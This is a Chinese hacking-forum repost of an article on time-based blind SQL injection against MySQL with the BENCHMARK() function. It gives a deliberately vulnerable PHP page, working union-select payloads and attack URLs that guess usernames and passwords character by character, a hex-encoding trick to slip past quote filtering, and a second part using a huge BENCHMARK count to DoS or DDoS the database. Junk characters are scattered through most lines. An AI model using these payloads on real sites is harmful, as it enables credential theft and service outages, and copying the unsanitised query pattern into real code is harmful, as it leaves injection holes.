找回密码
 立即注册
查看: 2638|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
& t3 N. x1 D4 j; |' Z) m本文作者:SuperHei+ }; A5 e. E5 X: u8 ^
文章性质:原创( E( y& o+ v& N
发布日期:2005-01-02
) ^, K) q# U( w! J( p完成日期:2004-07-09
8 l! \1 X' v7 G- K第一部. u# R* q- L0 T/ v& D$ X1 u$ u! s
( Z" U) L1 O. U
利用时间推延进行注射---BENCHMARK函数在注射中的利用
. H: z# f- t8 z) p! m+ o9 X8 Z
6 ~/ B. o' t( Y. M' h9 T* P一.前言/思路) P6 p& p2 O- N7 {$ k  ~0 i

( ?8 D! B) n4 h/ N/ R  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。2 B& z8 O2 H/ K6 n2 }
4 a. z& {3 `  c% m% P; c; P. }# b
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。4 ~* H) N# c) Z! z
. \$ s3 P9 d* `/ K+ L, ~
二.关于BENCHMARK函数2 P. l4 K% [6 A4 x# A

$ }& W4 I% ?( X. K6 \+ D5 \  在MySQL参考手册里可以看到如下描叙:
9 b4 D4 ]+ ^; D+ X- [
9 i4 s/ x( J' Q& H9 {& L! n/ `- I# f$ [/ ^2 j8 E  p" _
--------------------------------------------------------------------------------* ]3 G8 u5 c+ I! v9 T

9 U  ]7 \7 E% A$ m$ s$ B9 K4 S* H* D+ kBENCHMARK(count,expr)
4 h& c- L0 M0 \  M2 vBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 / e! ?$ C, F3 @- m7 s6 l
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
/ J" a8 l2 p" g* r& E/ v+----------------------------------------------+
! Y5 C$ ~; t7 m6 Z+ F4 Q/ {| BENCHMARK(1000000,encode("hello","goodbye")) |
; A" P. ]! H; M+----------------------------------------------+ + \+ I4 ]+ ?' ^( t5 m
| 0 | 9 x9 |# }! @$ c3 q0 ^
+----------------------------------------------+
* f4 b' @8 E9 u2 F; `3 _! N7 }1 row in set (4.74 sec)
9 k: _% x* r0 s" y) N# D& s1 t# |5 w1 k( u$ e, M
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。7 w$ T# |/ N, U( k7 i$ P/ }

$ ~/ w! l) g$ A2 t
# q1 M2 D3 U& \2 W6 A( q) g& ?- }$ r& W--------------------------------------------------------------------------------
% P& B$ g2 x. x5 h5 i: @1 @6 J+ {9 q( M
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
4 ^2 N' ~2 |9 a( I
5 U( S+ H, [. Z+ j  a4 J- R3 Y5 vmysql> select md5( 'test' );
, N- Z6 Q6 x% @. O4 n$ X& Z+----------------------------------+
% l, {: Q! Y( H" I: G1 P| md5( 'test' ) |
9 u. ~& d! x) m; b0 Q+----------------------------------+ ; [! L! q0 a% h* w
| 098f6bcd4621d373cade4e832627b4f6 | ; R$ L& h& T. ?* H, q1 ]9 d
+----------------------------------+
* \% g7 x. i- I1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
0 a7 w/ K3 z3 H
1 O* h5 [+ |5 U6 z" [. F& Omysql> select benchmark( 500000, md5( 'test' ) ); " ?$ a" O' E2 N' L! f) Z, D4 T
+------------------------------------+
5 n2 e) C" U# J2 \0 H3 o| benchmark( 500000, md5( 'test' ) ) | - y" B: j; Y6 C- g
+------------------------------------+
/ P' z9 ^3 y1 b/ E( [. ^* o; [| 0 | : d9 E+ ?% L% J7 `
+------------------------------------+
( I0 r4 V0 f4 x* ^3 Z1 row in set (6.55 sec) 〈------------执行时间为6.55 sec# s& o2 W3 X5 v* e

$ q% m6 X9 N; s- d6 V$ y. ^' L% A  l( f( I
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
2 q) w8 x  T9 v- n" L! C$ i* ^2 E# L* q
三.具体例子
2 M- k5 e8 Q8 X  s( f7 W* p6 |6 h
  首先我们看个简单的php代码:- @. i& w1 s" R3 u! c* c
" d0 {. I% t1 H" C: @8 G
< ?php
0 p# O* w1 ?1 |* v4 d1 v$servername = "localhost"; % V4 X9 h& X! D) S" x( t( o
$dbusername = "root";
, z& V7 P$ h' c  W+ O+ Q$dbpassword = "";
6 Q9 Z, z; C1 Z  G1 k2 v$dbname = "injection";
3 a3 ~3 W3 T9 Y: Y2 U& l7 g3 K
: A! q- D0 e3 E, O0 |mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 4 m/ I, N; n: B( I. b/ }) Z% u5 z

: O" W1 u& K% w+ c3 c/ f$sql = "SELECT * FROM article WHERE articleid=$id";   U$ A/ ~) U7 e0 S$ }
$result = mysql_db_query($dbname,$sql); 8 h) r5 P. r- ^( H. N
$row = mysql_fetch_array($result); 6 {* ~$ k7 T4 Z7 ~  g2 L

" n" `& L6 O0 v4 iif (!$row) ( w* `( L, \' Q4 B9 H( r: l: _
{ + o. y* a2 h4 P* G' {2 i
exit;
, `3 E" |. J& U" _3 O1 W: S} / e7 Q' a; A0 V' y3 X7 f
?>  P2 v  g' g' Y' ]

; N) D$ j. X, k& w: j4 R+ c7 C- M' R5 F& n
  数据库injection结构和内容如下:
' |" `3 M+ d- {  K1 B, K; G1 V/ v9 k* L8 J" A) E# r
# 数据库 : `injection` 3 h0 K; F6 N0 K7 {7 b% r
# % b4 r  r/ W! D6 P
4 K5 h- T- {# M$ e; ?- Z& F; c$ _
# --------------------------------------------------------
( S- Y4 R) w, L" I  K) W
4 \5 L- d0 l9 M8 ~5 B. ?#
# ?! [( h: i2 B0 f* X  ]( B1 ?- n# 表的结构 `article`
. X5 B) p* B7 A/ L, j#
% s- D! T+ [! H* A* o, m+ W( l
% x% o2 p3 ^+ F& HCREATE TABLE `article` (
6 d/ G+ C7 K0 s$ f' w) L`articleid` int(11) NOT NULL auto_increment, . B6 d$ a6 D. u. a% K( Z
`title` varchar(100) NOT NULL default '',
) g2 ^8 q4 V( M4 s& x`content` text NOT NULL, ! a5 e; a8 M0 F7 t+ K* |
PRIMARY KEY (`articleid`)
1 z. U; x9 T2 n) TYPE=MyISAM AUTO_INCREMENT=3 ; 9 W2 J- p% i! ~7 }0 ?2 C! N" f" f

4 t1 V8 S6 S7 e. ]0 P, ~$ u9 p+ v# / _7 H) D. S1 a- s' j2 Z
# 导出表中的数据 `article` ! p* L7 F( I& N% p% j/ Q
#
# N: i( o4 S) \% Q% I/ R. l6 x% B2 l3 u4 Z" }  V1 t! s- Z& k
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); # U1 b7 R2 h. U) |1 _. ~+ U
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); , b$ }$ p2 m: k2 P

2 a; z! k; h: I. U1 F# --------------------------------------------------------
7 B+ y4 {  m2 w5 s* g
* I5 R) U! I6 u. ~: z1 N#
! c4 ^# d! D; h: c, j8 S# 表的结构 `user` & B. B: D& O- a4 f& P
# : v# J5 y/ C- Q- u1 c! A

: `: _# t* B3 H; M' lCREATE TABLE `user` (
7 t) ~1 W- |5 A( q* F`userid` int(11) NOT NULL auto_increment,
2 P$ _; p+ E7 G6 K$ v* q`username` varchar(20) NOT NULL default '', ) y6 p* u3 X8 r0 U2 Z
`password` varchar(20) NOT NULL default '', 8 P$ t5 z+ _3 _; x4 l1 b
PRIMARY KEY (`userid`) ; r7 J% a: }# H7 C
) TYPE=MyISAM AUTO_INCREMENT=3 ;
* C1 e5 Y0 X' V- g2 P: Q" k- u& m
8 ]7 S3 F, W% n1 [- f9 D#
' d( M; U+ G+ m' o# 导出表中的数据 `user`
+ v* N# L: ?: k. n#
, n  W# n: ^5 z) h5 u' Y' r: q! R* i0 x, W6 @3 V
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
2 x& W- w! v1 Y8 G* BINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');+ Z) U+ p5 }+ z$ }% r7 _3 r
+ b8 N" Z( \) P
9 P+ v7 i; f8 n! {: j' [
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:! u5 z6 L( {8 {. Q
3 [% ^% u# d5 r! ^  b5 s0 q
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*- h  R" X( r5 B" A

, K9 B' O% {" b, P% j. e! x3 o
( O2 o; B% W+ R- |; W7 w3 R/ w: T1 l  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
/ r5 r1 I6 J1 C" y. C3 ^' e9 W, P8 C0 {  `. \0 {6 ]* L
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/** F, r8 C$ Q9 z' L- t
6 l# C8 Y/ Q+ t2 U0 q1 N* d

/ H* Y( S/ d/ x9 [* t2 X# `  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
2 Y& P" Z2 _, G8 t$ ]
6 |- P0 ~8 c/ |( x  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
5 c9 {  i5 X5 Q4 J# n- l( P' E( \# r% S3 q
第二部5 n0 c- o9 V  \7 C" ]
  V" Z( z& `* J9 x: }2 O
利用BENCHMARK函数进行ddos攻击
+ l/ ?4 b: {7 W% Z3 f" X' \
; K# |7 C0 T; ?  Z  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:1 [$ Y4 v; x) O7 Q
+ H7 L. r! r$ h& z
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))* @6 T4 C: ~4 y. U

5 G! K" ?  B. a4 e# e
4 f( [) \" y1 a4 L/ E小结, S4 |$ t; S* G0 ]
6 p9 f* c0 x% b( b4 P
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
# Z0 ~- a" u& H; s
/ K  l9 d5 N, H. {8 {$ H5 f  
6 q7 N( k" Y- @3 L9 s' q7 h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表